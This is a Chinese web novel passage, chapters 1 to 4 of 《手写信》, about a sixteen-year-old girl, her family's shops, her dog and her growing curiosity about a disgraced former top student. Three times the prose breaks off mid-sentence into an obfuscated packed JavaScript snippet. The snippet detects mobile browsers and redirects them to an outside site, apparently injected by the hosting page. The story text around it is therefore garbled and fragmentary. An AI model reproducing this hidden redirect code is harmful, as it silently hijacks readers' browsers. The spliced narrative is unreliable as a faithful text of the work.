《手写信》 1. 慢动作 《手写信》 文/植物杀手 2025年夏至 - 岱川的夏天栽青繁荫,蝉鸣声声,像一首绝句。 酸梅汤、蜉蝣、青木瓜、蒲扇......这些充满夏日魔力的词汇,叫人看见便觉得有种凉凉安心的感觉,迫不及待夏天的到来。 可当夏天真降临时,现实又是另一幅场景——蚊子又在手臂偷袭了。 白嫩细臂上突兀红肿一块,高夏盯了几秒,熟练拿起书桌一旁的花露水,涂抹上去,这才是凉凉安心的感觉嘛。 高夏家住老社区,三楼窗对大树,妈妈很早以前就提过将房间装纱窗,高夏都是摇摇头拒绝,她喜欢毫无遮拦的浓绿。视觉的享受总要付出些代价的,身上数个蚊子包是她的投名状。 今天周六,跟沈昭昭有约。高夏把桌面的寒假作业收拾了一下装进抽绳包里,想了想又从一旁的书架上拿了一本漫画书走。她骑着小电驴到听雨路,道路旁一排排五颜六色的门头,有两家素得突兀。 高夏将电驴停在樟树下,走进其中一家素素的店。 店里不见人,沈昭昭迟到。 小狗热情扑上来,扒拉着高夏,高夏脸上露出笑容,摸着小狗的脑袋,“是我们肉肉小宝呀,今天有好好接客吗?” 小狗回应:“嗷呜~” 有的有的,人! 高夏心都要化了,她蹲下来,双手托着小狗腋下,脸埋进软乎乎的大棉花中狠狠吸了两口,然后一副餍足的模样抬起头,对着正在吧台制作咖啡的漂亮女士说:“妈妈,今天店里忙吗?” 在咖啡机前穿V领衬衫站着的美丽女人是她妈妈。 夏白春等待咖啡萃取,手撑在台面指尖没节奏敲着,闻声扭头露出一个温柔的笑容,“不忙。这天气越来越毒辣,愿意出来的人不多。” “你怎么不在家待着,这么热的天跑出来。” 高夏说待会儿沈昭昭要来一起写作业。 咖啡萃取完成,夏白春准备打奶泡,她还有几单外卖要做,让高夏想吃什么自己从展柜拿。 沈昭昭还没来,她也没急着现在吃东西,牵着锅包肉走到旁边另一家素素的店。 门头素,店内却色彩洋溢,有一面墙贴了不同摄影风格色彩的照片,店里摆着许多型号的胶片相机和胶卷,也负责洗胶卷。收银台坐了个戴眼镜文艺气息十足的男人,中年,两鬓有了几缕白。 这是她爸,高崇平。 高夏之所以叫高夏,是因为他们两个人一个姓高一个姓夏,爸爸说这是爱的体现,绝对不是敷衍了事。听说刚出生那会儿,因为这个名字,爸爸还和家里大吵了一架,爷爷是个传统古板的人,名字怎么能没有辈分。 妈妈说那是爸爸二十多年头一回这么硬气,和爷爷吵了个天翻地覆,最后利落收拾家里行李,“爸,我跟白春搬出去,以后您要是想见孙女,直接打我电话就成。父子几十年的感情,我再对您不满,我身上也流淌着您一部分的血,以后我还孝敬您,给您养老送终。” 主要还是立字辈,女孩子取名太难,爷爷找人算五行取的名也难听,妈妈看一眼就嫌弃,取什么高立水、高立莹...... 这是高崇平二十多年来第一次忤逆他爹的意思,这给老爷子气了不轻,听话了二十几年的儿子忽然叛逆,老爷子小心脏不如年轻还有精力管教,于是这古板执拗的老爷子一气之下跟他们断了往来。 高夏今年十六岁,只见过爷爷的照片。 收银台的男人从摄影杂志中抬头,午后的阳光暖暖笼罩着这家几乎无人光顾的小店,高崇平推了推鼻梁上的眼镜,镜片后的眼底满是慈爱,“大宝小宝来啦。” 高夏笑嘻嘻跑过去,锅包肉也跟在后面摇尾巴奔去。 这家店生意可以用惨淡形容,但她和妈妈都很支持爸爸。 一个中年男人,前半生就如他负责的绿皮火车一样,规定的轨道路线,不许偏轨,因为它承载着太多人的生命,而这位中年男人承载着一个家庭,也不许偏轨。后半生他离开轨道,最后摸了摸相伴半生的绿皮火车,然后头也不回找回十七岁的自己。 开了这家胶片店。 他说,年少时爱看金庸,希望长大当大侠,结果最后当了个懦夫。 现在,他想重拾武侠梦。 那会儿高夏稚嫩的脸蛋满是疑惑,问他,武侠跟你这个摄影有什么关系呀?高崇平擦着他珍爱的相机说,梦想也是一个江湖世界,我完成自己的梦想了,是不是也算大侠呀? 十四岁的高夏似懂非懂点点头,好像也有道理,然后高高兴兴也帮爸爸去擦相机。 在爸爸店里没待一会儿,沈昭昭来了,她先去了甜品店没看见高夏,就来胶片店了。 推门风铃响,小狗摇尾,戴着遮阳帽的沈昭昭一把扑到锅包肉身上,“妈呀,锅包肉你可想死姐姐了。” 沈昭昭吸猫吸狗的时候发出的声音很像石矶娘娘的笑声,属于情不自禁的那种,她后知后觉站来起来,不好意思挠了挠脸蛋儿,“叔叔好。我来找夏夏一起写暑假作业的。” 高崇平点了一下头:“你们去吧。晚上跟大宝一起回家吃饭吗?” 沈昭昭其实也很想去,夏夏爸爸做的饭特好吃。奈何命苦啊,她妈给她请了家教老师,提前学习高二的知识点,五点就开始上课。 她哭丧着脸说就不去了,下次有时间一定来! 甜品店多了些人,有情侣有学生,高夏找了一个偏角落的位置坐下来,将单子推给沈昭昭,“你看看想吃什么,最上面两个是我妈研制的新品。” “一个抹茶口味,一个巧克力口味。” 沈昭昭要了一个巧克力口味的,再点了杯清爽芭乐。高夏从抽绳包里拿出暑假作业,“你先抄吧,我去拿。” 如果不是此刻甜品店人多,她一定要抱着高夏猛猛亲两口!高夏被她眼神看得起鸡皮疙瘩头皮发麻,快步离开。 展柜里摆着精致的甜品,高夏拿完沈昭昭的,再拿自己抹茶味的,跟妈妈说了一声,她们要一杯清爽芭乐,还有一杯抹茶拿铁。 夏白春点点头说好,然后叫她顺便把靠窗那桌点的饮品送过去。 高夏送完回到自己位置,沈昭昭已经奋笔疾书,头也不抬一下。 “也不知道我妈受什么刺激了,又是给请家教,又是检查我暑假作业的。”沈昭昭哼哼两声,“拜托啦,正经人谁做暑假作业的。” 正经人高夏:“......” 沈昭昭忽然笔尖一顿,抬头大眼睛弯成月牙,“夏夏除外,我们夏夏宝宝是菩萨转世,有着菩萨心肠的大美人!” 手累了,沈昭昭停笔,愤愤合上《高一暑假自主学习作业本》,泄愤般握着精致雕花的小勺子挖了一大口甜点入嘴。 高夏则在对面轻轻笑了笑,视线又回到漫画书上,锅包肉在脚边蹭噌,她偶尔分神去摸一摸锅包肉,又抽空回答沈昭昭的问题。 “你妈妈可能怕你分班考的时候掉到平行班去,所以才忽然对你这么严格的。” 沈昭昭如同泄气的皮球,下巴抵在桌上。 百分之九十九的努力也很难拼过拥有百分之一天赋的人,那群有天赋的人又不蠢,不知道努力,等着让你赶超。高夏属于努力加天赋型的选手,沈昭昭则是努力努力再努力的选手。 二人小学认识,一直同校偶尔同班。高中这次能同校又同班,用沈昭昭的话来说就是祖坟冒青烟了,外加她在道观祖师爷前折寿许愿。 毕竟明远高中是岱川四大排第一的学校。 但高夏不觉得有这么多迷信,若是殿前真能显灵,世间哪还有疾苦,人人不都上清华北大啦?在她眼里这就是沈昭昭自己努力的成果。 沈昭昭很聪明的,一点也不笨。 她摸了摸沈昭昭脑袋,说没关系的,厉害的沈昭昭做什么都会成功。 沈昭昭受到一点安慰,但不多,她真挺害怕的,高一下学期的时候她就很明显感觉到吃力了,渐渐跟不上进度,如果不是高夏一直耐心教她,她恐怕月考就被踢出实验班了。 店里放着轻缓的音乐,高夏想让她放松心情,恰好摆在桌面的手机亮了亮,推送的娱乐版块刚好是沈昭昭偶像,她让沈昭昭看。沈昭昭一下就从那种断肠氛围抽出,转为惊喜尖叫。 兴奋过后还有正事没干,沈昭昭看了一眼时间后抓紧写题,高夏继续品着她的漫画,时不时露出一抹微笑,白瓷一样的肌肤晕着淡淡绯红。 沈昭昭写完了,收拾书包,顺便把高夏的东西也收拾了。 “我写完了,这些应该够我应付我妈一段时间了。梁葭八月十二号来我们这录制综艺,夏夏那天你陪我去看好不好?” 高夏嗯了一声。不太对劲,沈昭昭眼睛一眯就是尺,抽走高夏手里的漫画书。 “吸血鬼骑士,高夏啊高夏,你......” 高夏一脸无辜眨了眨眼,“昭昭,你不觉得玖兰枢很帅吗?优姬跟玖兰枢真的很配。” 沈昭昭撇撇嘴,“我比较喜欢锥生零,白毛我本命。还有,兄妹不可取。” 高夏抱臂轻哼一声,兄妹明明就很好品好不好! “十二号那天我如果没有事的话就陪你去,但是你得请我吃麦当劳,那么热的天陪你一等就是几个小时,还要负责给你担拍图,我都要累死啦。” 沈昭昭笑嘻嘻,拍拍胸脯,“没问题,安格斯你想吃多少吃多少。” 高夏这个人天赋就像是全方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那是一个看起来有点奇怪的人,一身黑,鸭舌帽帽檐压得低,几乎遮住半边脸。若不是气质出挑,恐怕店员小姐姐在他出现的那瞬间脑中就警铃大作,眼睛死死盯住他,恨不得从收银台走出来寸步不离地跟在他身后。 见他朝自己这边走来,高夏回神淡淡收回视线,拿着饮料准备去结账,锅包肉路过零食区走不动道,任高夏怎么拖都不行。 “嗷呜呜~” 小狗趴在地上,望着它的小主人。 小主人冷淡着张脸,无动于衷。这不是锅包肉第一次使这样的手段了,初中的高夏会给它买吃的,可她现在是高中的高夏了! 锅包肉你放弃这个招数吧。 察觉到有目光投来,高夏抬眼看去,是那个有点奇怪的人。他下巴微抬扫了这边一眼,视线在空中交汇又散开。 那个人走向了收银台,擦身而过时传来淡淡清爽的皂香。 高夏又看他一眼。 一直在这耗着也不是个事,高夏收回目光,“锅包肉,你这样的话,烤肠也不给你吃,我待会儿拿去给豆腐脑吃。” 豆腐脑著名犟种柴犬,锅包肉好友之一,曾经岱川暴雨涨水,柴犬在家嚎叫要去找朋友玩,主人无奈舍命相陪,在暴雨中瑟瑟发抖给高夏发信息,问能不能带豆腐脑来她家玩。 锅包肉哼哼两声,不情不愿从地上爬起来,微笑天使没有微笑了,眼神都透着委屈。高夏揉了把它脑袋,“肉肉啊,这些零食对身体不好,你吃多了容易噶。姐姐想让你陪姐姐久一点呢,回家我们吃罐罐,好不好呀?” 微笑耶耶又出现了。 结账的时候,高夏站在那个人后面,收银台立着一瓶三得利的乌龙茶,收银员姐姐朝高夏笑了笑,那人似乎还要帮人带东西,但发出去的信息没有回复。 收银员姐姐刚想说给高夏先结了,一道声音抢先响起,“就这一瓶。现金。” 如竹林清风缓解夏季燥热的嗓音,是很有特色的,高夏微微偏了一下脑袋,眼睛轻眨,像是在思考。 好像在哪里听过同样音色的声音。 等待的时间对于高夏而言如同电影慢动作,周遭所有的一切都变成帧数。但见那人摁灭手机揣进左兜里,又从右兜里掏出零钱,高夏的视线在他的手上多停留两秒,指骨分明修长的手指,青筋脉络像一幅山水画。 “啪” 东西掉落在地的声音。 高夏却是不想低头看掉了什么,待他捡起来捏在手中时,高夏瞥见了——身份证以及上面的名字。 陈峤。 夏季晚风拂动樟树叶簌簌作响,明月在天,鸣蜩嘒嘒,高夏走出便利店望着那人远去的背影。 2. 胶卷带 这个名字总觉得在哪里听过。 高夏喝着小甜水在记忆中搜寻,锅包肉吃完一根烤肠,兴奋往前冲,高夏脑中的思绪瞬间被打乱。她用力拉住爆冲的锅包肉,好险,差点就变成狗遛人了...... 夜晚的公园并不寂静,广场舞音乐声隔老远也能传到这小道来,豆腐脑跟其他几只狗早就在此等候,此刻见到锅包肉高兴叫起来,高夏一撒手就让它们自己玩去了。 高夏跟其他几位狗主人聊了几句就坐到一旁的长椅去了,他们在骂老板吐槽同事,高夏也插不进话,有时候他们朝高夏看来慈爱的目光也令她起寒毛。 中间大块的草坪,小狗在玩耍。 高夏思绪又绕回之前的问题,到底是在哪里听过呢?她想了很久想不出来,于是解锁手机去问百事通沈昭昭。 沈昭昭没回消息,此刻应该还在补习,或者被她妈妈在一旁严格检查着作业。 等到沈昭昭信息的回复已经是晚上十点半,高夏也已经洗漱完躺在床上,今天很幸运,她的座驾全须全尾地回来了。 但沈昭昭不那么幸运。 沈昭昭:【哪个天杀的偷我头盔!!!呜呜呜,我花高价买的呢。】 电瓶车停在小区树下,她回家匆忙,头盔忘记放进坐板下面了。等她上完课,熬过沈女士的抽查,下来丢垃圾,发现自己的爱车少了点东西。鉴于高夏跟她说过自己被偷头盔和电瓶的事情,她里里外外仔仔细细看了一遍自己的爱车。 然后就发现,她偶像亲笔签名的头盔被偷了! 沈昭昭气得差点当场昏厥过去。 握着手机给高夏发完信息,又在空间发表一篇含辱词汇特别高的说说,不忘记屏蔽学校老师。 高夏深表同情,安慰她说,那个人偷走的不止是头盔,还有我们的霉运!那头心情平复下来以后,才想起高夏最开始问她的。 沈昭昭:【陈峤啊,我知道呀,你没有印象么?】 沈昭昭:【这人在我们学校曾经风云一时。】 沈昭昭:【你现在去我们学校的官网还能搜到他,他是我们这届高一的新生代表。不过也算是跌落神坛的一个人啦,塌房塌得死死的。】 高夏打开了学校官网,搜索高一开学典礼,果然看见这个名字。 市状元,曾经风头无量。 高一军训完,开学典礼在操场举行,校领导在荫蔽之下,学子烈日晒头,像一条条腌制过后晒干的带鱼。 高夏努力地回想,只感觉到阳光照在身上,皮肤泛红的痛,身边清一水弗天蓝色的夏季校服,晃眼地刺,以及蝉躲枝头不绝于耳地叫声。 回忆是一卷胶卷带,她拉着片子找一个人影,无果而终,他是未显影的那一张。 高夏想着就此作罢,两个人本就是无多交集的人,只因为这一面她生出了些许好奇而已。但沈昭昭这个话匣子却打开了。 沈昭昭:【你突然问他做什么?】 沈昭昭:【你不会少女之心在这时候萌动了吧!不行啊!我听他们班同学说,他跟外面的混混关系很好,称兄道弟的,还把老师气哭过。】 沈昭昭:【夏夏你换个人心动吧,不行你从我暗恋名单里挑一个吧,昭昭严选,你值得信赖。】 高夏:“?” 高夏:【你别太离谱。我就是今天在便利店碰见他了,他脸我都没看清去心动哪门子啊!】 沈昭昭:【哦,也就是说你压根没看清人脸,那你怎么知道他就是陈峤的?】 高夏:【他身份证掉地上了,捡起来的时候不小心看见了。当时就觉得这个名字耳熟,好像听过,但是没想到,这不就来问你了嘛。】 沈昭昭呼出一口气,敲出文字:【哦哦哦,那就好。】 也不知道沈昭昭这个小脑袋都脑补了些什么,但也不难猜,应该是典型的校园小说情节,乖乖女爱上不良校霸,了解校霸性格剧变的内情,给予温暖怀抱,与黑暗之中拯救出来,然后Happyending。 可是......高夏在方方正正的小房间翻了个身,书桌上的小台灯散发暖黄光亮,小飞蚊绕着打转,她抬手摸了摸头发遮挡住的耳骨钉,这里打了两个耳洞。 在去年的夏天。 她应该算不上乖乖女,他也不是什么校霸。而且都不知道本人帅不帅呢,手倒是挺好看。 下次跟沈昭昭见面要叫她少看小说,高夏这样想着。 沈昭昭受小说影响,致力于要在高中找到一个暗恋目标,美名其曰不负青春,品酸涩人生,数数到现在,沈昭昭暗恋过不下十个人了。 两个人的话题越过陈峤又回到偷头盔的小贼上。 说到激动之时俩人同声怒骂,该死的小贼,摧毁祖国花朵的幼小心灵! - 隔天一早高夏生物钟失灵,她是被锅包肉舔醒的,高夏惊恐叫一声立马坐起来,手背狠狠擦去脸上水渍,小狗的口水滂臭的。 她睡觉都会关门,可架不住锅包肉会开门啊。 她也不讨厌锅包肉舔她,可这只看上去人畜无害的萨摩耶它爱吃屎啊! 要命了,高夏轻轻打了一下锅包肉的嘴筒子,“你最好今天没吃屎。” 小狗汪汪叫摇尾巴。 热切的眼神在说:人!你终于醒啦。 丝毫没察觉小主人现在生气呢,还开心贴上去。 算了,小狗能有什么坏心思呢,即便吃屎了那也原谅它吧。高夏恨自己对此等柔软萌物太心软,随后掀开薄被去洗漱。 爸爸还在厨房准备早饭,妈妈不见人影,应该是去店里备料了。厨房跟洗手间一门之隔,高夏很纳闷这种设计,实在理解不了,她拉开厨房门,往锅里看了一眼,今天的早饭是炒米粉。 待她洗漱好出来,饭桌上已经摆好了早饭和一杯温开水,高夏自己从冰箱拿出冰块放进杯子里,坐对面的爸爸看了直摇头,感慨:“年轻人身体就是好。” 高夏认为夏天就是得配着冰吃,就像冬天,所有的东西一定都是暖和的,冒着热气的。 她言:“早上一杯冰水,活到九十九。” 到了冬天她又会说,早上一杯热水,活到一百零 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15867119|176180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一。 高崇平宠溺笑了笑,让她快吃早饭吧。 铅笔留痕的白墙悬挂圆钟,时针指到八,高崇平起身打包早饭,“昨晚你妈妈接了个甜品台的单,五点就去店里备料了,这会儿应该很饿了。你把小宝的口水巾换一个,阳台晾着那个粉色的,然后再拿两个罐头出来。” 高夏挑着炒粉里的包菜吃,闻言放下筷子,难怪妈妈今天这么早就去店里了。 “来,锅包肉,我们换个漂亮的口水兜。”锅巴肉甩着大屁股就来了,给它换完,高夏忽然想起斗柜里好像还有一顶粉色波点帽子,她摸着下巴看着小狗,应该挺搭的。 戴上帽子的萨摩耶再配上标准微笑,真是瞧了就叫人心情愉悦。 高夏拿手机拍了一张,然后发在空间。不多时就有很多点赞和评论,她看见其中一条发笑——你那只小狗眼睛颜色看起来和平常小狗的不一样,送来我这里检查一下,家长不用来。 是高一班长的评论,高夏回复她:哈哈哈班长你算盘都打我脸上来了! 等爸爸和锅包肉都走了以后,家里就剩她一个人,她先去把剩下的暑假作业完成一些,然后闲余时间看漫画。沈昭昭醒来以后就朝她吐苦水,早上家里居然没有早饭,还得自己煮面吃。 高夏发去一个加油,然后又看自己的漫画。下午两点,太阳最毒辣的时候,高夏打开冰箱没有小甜水了,于是她戴上墨镜跟帽子,喷了防晒喷雾,骑着小电驴出发711便利店。 她打算去买一箱最爱喝小叶九里回来。 人与人之间的缘分一旦开了头,就难收住。 以往一个学校的两个人都碰不到几次,在这两天不同时间却精准碰见,高夏都觉得稀奇。 他还是老样子,一瓶三得利的乌龙茶,高夏也是老样子,只不过这次拿的是一箱。昨晚才讨论过的主角乍然出现在眼前,高夏生平第一次没忍住悄悄打量了几秒。 偷偷看别人这个行为实在不礼貌,所以在被抓包那一瞬间,高夏特心虚,眼神四处瞟。 好在那人只是淡淡看了他一眼就离开了。 但他怎么还是昨日那副装扮呢?这么热的天,他不换衣服么?高夏又想到沈昭昭还跟她说了一件事,陈峤班上的同学说他不爱干净,一双袜子能穿一个星期。那校服哪怕是两件换洗,他估摸着也是一周洗一次,有人说经过他身边时能闻到臭烘烘的味道。 但又想,昨晚他经过自己身边时,自己闻到的分明是清新的皂香味。 她摇了摇脑袋不再去想,抱着一箱饮料回家。 接下来的几天高夏遛狗时都没有再碰见他,就在这个人慢慢要成为废弃的胶卷时,他忽然显影,在暗房中他是令人驻足观看的。 他换了一身衣服,白t黑裤,没再戴帽子,高夏这次看清了他的脸。比文章照片上的人更加的立体几分。他似乎钟爱三得利的乌龙茶,每回见他都是拿这瓶。 十六七岁的少年身上自带少年气,骨相浓而皮相柔的一张脸,像是上好的白玉,身影绰绰有着青竹身姿。 本人是更加好看的。 3. 宿命论 七月末尾,高夏碰见陈峤的次数已经不符合概率论了。她好奇的目光终有一天被戳破。 那是天阴沉刮风闷热的一天,高夏送锅包肉去宠物店洗澡,等待的过程又跑到711买饮料来了,两家店离得不远,她来的时候刚好碰见陈峤买完东西出来。 两个人对视了一瞬,高夏上一层台阶,他下一层台阶。 高夏脚刚迈出一只,身旁的人忽然开口:“我们两个认识吗?” 高夏惊得差点站不稳脚,一只脚默默收回,有点结巴,他这是看到自己每次偷看他的目光了吧?肯定是的了,高夏啊高夏,人不就是帅了点么,何必如此沉不住气呢! “不、不认识。” “哦。”说完,人没停留,像阵闷风一样留下燥热。 高夏脸有点臊,扭头去看那人的身影,他骑上一辆自行车,一双长腿支地,然后吹一声口哨,不知从哪儿飞来一只鸟儿停留他肩头。 那是一只颜色很梦幻的鸟儿,像油画一般。 直到人没影,高夏才回头走进便利店,今天的店员她不认识,少了过往打招呼的流程,直接拿饮料结账。一直到宠物店空调下也没散去她的燥热。 脸颊的两抹红很显眼,宠物店小姐姐问她是不是中暑啦?她摇摇头说没有,晒的。 她是从便利店跑回宠物店的,热出一身汗,脸红扑扑像中暑了。她抬手摸了摸自己额头,手背像放置滚炉上,这不会真中暑吧?高夏怀疑人生。 萨摩耶洗澡就像弹棉花,狗毛满天飞,给锅包肉洗澡的是个年轻小哥,洗完出来人都老十岁,全身上下都沾着狗毛。辛苦了一个小哥,高夏收获一只新的大耶耶。 见到小狗的瞬间也顾不上什么中不中暑了,激动跑过去。牵着锅包肉出店的时候,高夏一直跟小哥说辛苦了,小哥洒脱挥手,说没事儿没事儿,只是笑起来有点命苦。 刚洗完澡的小狗不能下地,高夏把八十斤的小狗抱起,咬咬牙快步走到电驴旁,她喘着气,这小狗怎么又变胖了!她累死了,小狗在那吐着舌头咧嘴笑,笑得高夏心中涌起无名怒火。 她一拍小狗脑袋:“坐好,不许笑,扣你今天罐头。” 小狗嘤嘤叫,委屈得要死。 气顺过后,她又安慰小狗,但闭口不提罐头的事。 高夏确认自己是中暑了。把锅包肉放到家里开好空调以后,她感觉身体明显不适,脑袋晕乎乎的,给爸妈发了一条信息,然后叮嘱锅包肉守好家,关上门去社区诊所了。 绿色皮面椅子透着凉,社区诊所来来往往的人不少,高夏输着液,有气无力回沈昭昭信息。 高夏:【中暑了】 沈昭昭:【今天也没有大太阳啊,你怎么就中暑了?太倒霉了吧,抱抱你。你在家门口的诊所么,待会儿我来陪你。】 高夏:【是啊,太倒霉了。来的时候帮我带杯一点点吧。】 沈昭昭:【都这样了还喝奶茶啊?】 高夏:【都这样了还不喝奶茶啊!】 沈昭昭:“……” 沈昭昭带着两杯奶茶一阵疾风似得撩开透明门帘,一眼锁定目标,落座其旁边,她将奶茶插好吸管递过去,“呐,四季奶青三分糖。” 已经换了一瓶吊水,高夏抬抬眼,目光扫过滴答的盐水,然后另一只手接过沈昭昭递来的奶茶,“谢谢哦昭昭。” 声音软软的,过往红润的小唇变得惨白,她靠着椅背,看起上去脆弱,像一尊盈盈欲碎的白瓷,沈昭昭心疼极了,都恨不得这苦是自己来受着。 沈昭昭心中犹豫着,要不追星还是自己去吧,万一高夏那天又中暑了怎么办。 “夏夏......” 话只开了头,余下的话来不及说,高夏像个神算子,望她一眼就知晓她心中所想,“那天我没事的话还是会陪去你的,别担心啦。冰都快化了,你还不赶紧喝。” 沈昭昭大口大口嘬着波霸,时不时瞟一眼高夏吊水的那只手,手背青筋明显,给她打针的姐姐已经夸了一遍,这手真适合打针,再往上,手碗戴着一块卡西欧机械表。 小时候的沈昭昭觉得高夏为什么不是男孩呢,如果是男孩,自己一定要嫁给她的。 “你今天去干嘛了?”沈昭昭问。 干嘛了。 高夏脑海里一张光风霁月的脸浮现出来,占据了一大版块,她长睫轻颤,“带锅包肉去洗澡了。” 也真是倒霉的,就这样中暑了,沈昭昭说下次带锅包肉洗澡叫她一块儿,高夏轻嗯了一声,而后便感觉肩膀一沉,下巴被发丝挠得痒痒的,她抬手将沈昭昭翘起的头发捋顺。 沈昭昭靠在高夏肩头耍手机,几个app中切换,她说这是在做数据,然后又去反黑,一套一套的,看得高夏一脸懵,沈昭昭怎么就跟人在网上骂起来了? 等骂到信息发不出去,沈昭昭被对面拉黑了,她高兴切回到小企鹅,点开空间刷动态。 表白墙好热闹。 沈昭昭点开图片给高夏看,“笑死了,好多人在捞你。” 高夏:“......” 高夏是表白墙常驻人员,她出现过的地方总会被偷拍上表白墙。每天桌上的早饭零食从没少过,桌肚里或是书页中总有青涩的情书,这给高夏造成了不小的困恼。 其实表白墙还有另一个常驻人员。 陈峤。 国际部不太知道他的情况,经常来他们这儿捞人,被告知这个人是怎样的人之后,然后遗憾地啊一声,又试探着问,只是谈恋爱也没关系吧?能考进明远的再差也差不到哪里去,何况曾经的市状元。 问出话的那人,心中几分雀跃地想,浪子回头,校霸改邪归正,这不是经典桥段嘛!他就缺个女主角了。 但陈峤这人名声在外,性子冷淡,让本来就讨厌他的人更加讨厌了,学校老师因他曾经是状元,对他比普通学生宽容很多,这一份优待在他不再是好学生的时候,再拥有就引起其他人不满了,恶意也随之涌来。 他们不明白,都这样了还装什么装,天天一张臭脸也不知道给谁看的。 沈昭昭也是看见又有人捞陈峤,就问了一句:“你后面有没有再碰到他啊?” 高夏觉得这没什么好隐瞒的,如实说:“有啊,在便利店又碰见好几次。” 沈昭昭咦一声,“你们还怪有缘分的。” 是啊,高夏自己都快要相信宿命论了。不然解释不通,为什么同校,他曾经又是市状元,拿过几次年级第一,那样风光无限的一个人物,自己怎么会全然无印象呢? 她明明也去看过几次排名,自己在年级第九,从上往下扫,她怎么会漏掉第一的名字呢? 但很快,这个坚定的唯物主义想明白了,也许跟自己的习惯有关,她从不关注第一是谁,也从来不立追赶第一为目标,她的目标只是每一次考试超越前面一个人,三年末她能到达的位置就是她全力以赴的结果。 再让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15867120|176180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她产生动摇是三天后,她中暑已全然好了,爸妈第二天选择休息在家陪她,等她好全了才去开店。爸妈带着锅包肉一离开,她在书桌前整理习题跟错题本,书桌左上角摆着法蓝瓷花瓶,里面没有插花,法蓝瓷已经精致,再加上花有点累赘。 高夏整理完桌面,拿湿巾擦拭花瓶,然后坐在椅子上,望着窗外晃荡的翠绿在思考。 她是今早碰见的陈峤,那会儿她跟爸爸妈妈一块去遛锅包肉,顺便在赵叔的早餐铺吃早饭。早餐铺在牌楼巷1019号,窄窄的一个巷子,两边墙面有涂鸦,这里坐落许多小店。 巷子后面是居民楼,这儿离明远也算近,跟高夏家离得也不远,很多陪读的家长租房住在这里。 她正喂锅包肉大鸭腿呢,门外两道身影走来,一胖一瘦。瘦的搭着胖的肩,有说有笑的,他们点了一份干挑面一份汤粉加一份小笼包。高夏在他们迎着阳光走进来那一瞬抬眼,红底白字的菜单贴在墙上,那两个人同步抬头,默契出声,转身时高夏低下头。 锅包肉太不认生了,谁给它吃的,它就跟谁走。这不,那两个男生中稍胖的那位,嘬嘬两声,手上不知道什么时候也多了大鸭腿,锅包肉一扭头就过去了。 高夏无奈转过身,轻声喊:“锅包肉,回来。” 那胖男生一听,嘿嘿一笑,“这狗叫锅包肉啊,有趣有趣。我们老大最爱吃锅包肉了。” 小狗像是听懂了人话,往后退几步,大鸭腿也不香了,想要回去,胖男生乐不可支,“这狗好聪明啊。”他附身摸了摸狗头,“此锅包肉非彼锅包肉,懂否?” 小狗不懂啊,只懂有人爱吃自己。 小狗跑回小主人身旁,高夏朝那边歉意笑一笑,胖男孩自来熟大咧咧一笑说没事儿,然后又夸她家这只狗养得真好。高夏转身回去低头吃早饭,后方声音若远若近的。 “那狗养得真好,毛摸起来特舒服。” “老大今天怎么不遛你那鸟了,不然今天就能看见小鸟大战大狗。” 陈峤抬眼无语,“用词能不能文明点,什么你那鸟你那鸟的,学名和尚鹦鹉。” 潘决哦一声,转头又把和尚鹦鹉忘脑后去了,你那鸟念着挺顺口的。主要他不理解,人老大爷天天拎着鸟笼去巷口下棋,他这个十六七岁的小伙,天天遛鸟算怎么个事。 潘决又回头看了一眼那狗,还有坐那斯斯文文嗦粉的少女,有些人不需要多精心的打扮,小早餐店坐在那就让人挪不开眼。 白衬衫小短裙,齐肩长度的头发低挽着。 陈峤托着下巴,也顺着潘决的目光看过去,她的气质是清冷纤薄的感觉,不落俗的美,第一次见她是在学校办公室,她来交班级作业,两个人连多余的对视都没有,她漆黑的眸子亮亮的,整个人薄薄一片,标准尺码的校服在她身上略显宽松。 他多看了她一眼。 后来在学校也有过几次偶遇,她的眼睛像相机取景框,整个校园能让她觉得可以框进镜头的人不多。 他不在其中。 再后来就是这个暑假的便利店,他刚搬来这块区域的第二天,找了一份暑假工,那会儿正准备去上班。她的小狗耍赖皮,他觉得还挺好玩的,这小狗聪明,其实那会儿他也挺想撸一撸那只小狗的。 高夏跟父母离开了这家小店,她没有扭头,倒是锅包肉忘却之前的事,又朝他们摇尾巴。 “宿”是旧有、过去的意思,“命”是指动植物的生活能力。 4. 梅子酸 夏季杨梅饱满多汁,高夏独独爱小颗带酸的,爸爸前同事送来一箱仙居杨梅,高夏中午时分洗了一盘,撒上盐混着吃,沈昭昭说她这种吃法就是暴殄天物。 她满不在意哦一声,她就爱这样吃。 上回从早餐店走时,说好给赵叔店面拍几张照,他要上传到平台去。高夏望了望烈日,好晒,她手机上发消息给赵叔说等下午五点左右再来,那会儿阳光拍照光线也比较好。 那头说没事,随便什么时候来都行。 高夏预习完高二数学知识点后已经是下午五点。她从柜子里拿出一台索尼相机,装进相机包里就出去了。小电驴停在早餐店门口,这个时候接近晚饭点了,来吃粉的人不少。 